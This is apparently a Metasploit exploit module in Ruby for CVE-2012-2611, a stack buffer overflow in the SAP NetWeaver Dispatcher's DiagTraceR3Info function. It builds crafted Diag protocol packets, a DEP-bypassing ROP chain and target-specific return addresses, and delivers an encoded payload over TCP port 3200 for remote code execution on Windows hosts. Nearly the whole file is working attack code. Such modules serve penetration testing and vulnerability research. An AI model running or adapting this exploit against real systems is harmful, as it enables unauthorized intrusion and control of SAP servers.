require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
attacker to execute arbitrary code by supplying a special crafted Diag packet. The
Dispatcher service is only vulnerable if the Developer Traces have been configured
at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2
SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
},
'Author'=> [
'Martin Gallo',
'juan vazquez'
],
'References' =>
[
[ 'OSVDB', '81759' ],
[ 'CVE', '2012-2611' ],
[ 'BID', '53424' ],
[ 'EDB', '20705' ],
[ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],
[ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'EXITFUNC' => 'process'
},
'Payload'=>
{
'Space'=> 4000,
'BadChars' => "\x00",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Platform' => 'win',
'Targets'=>
[
[
'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
{
'Ret' => 0x5f7a
}
],
[
'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
{
'Ret' => 0x77bde7f6
}
]
],
'Privileged' => false,
'DefaultTarget'=> 1,
'DisclosureDate' => 'May 8 2012'))
register_options([Opt::RPORT(3200)], self.class)
end
def create_rop_chain()
rop_gadgets =
[
0x77bb2563,
0x77ba1114,
0x77bbf244,
0x41414141,
0x77bb0c86,
0x77bc9801,
0x77be2265,
0x77bb2563,
0x03C0A40F,
0x77bdd441,
0x77bb48d3,
0x77bf21e0,
0x77bbf102,
0x77bbfc02,
0x77bef001,
0x77bd8c04,
0x77bd8c05,
0x77bb2563,
0x03c0984f,
0x77bdd441,
0x77bb8285,
0x77bb2563,
0x90909090,
0x77be6591,
].pack("V*")
return rop_gadgets
end
def exploit
peer = "#{rhost}:#{rport}"
connect
diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
support_data = "\x10\x04\x0b\x00\x20"
support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"
dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
dpheader << "terminalXXXXXXX"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"
pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
pkt << dpheader
pkt << diagheader
pkt << user_connect
pkt << support_data
print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
sock.put(pkt)
res = sock.get_once(-1)
if not res
print_error("#{peer} - The connection with the Dispatcher has not been initialized")
return
end
if target.name =~ /Windows XP SP3/
crash = make_nops(112)
crash << "\xeb\x02"
crash << [target.ret].pack("v")
crash << make_nops(10) * 200
crash << payload.encoded
else
crash = "C\x00"
crash << rand_text(2)
crash << [0x77bd7d82].pack("V") * 55
crash << [0x77bdf0da].pack("V")
crash << [target.ret].pack("V")
crash << create_rop_chain
crash << payload.encoded
end
print_status("#{peer} - Sending crafted message")
message = "\x10\x06\x20" + [crash.length].pack("n") + crash
diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
eom = "\x0c"
pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
pkt << diagheader
pkt << step
pkt << message
pkt << eom
sock.put(pkt)
disconnect
end
end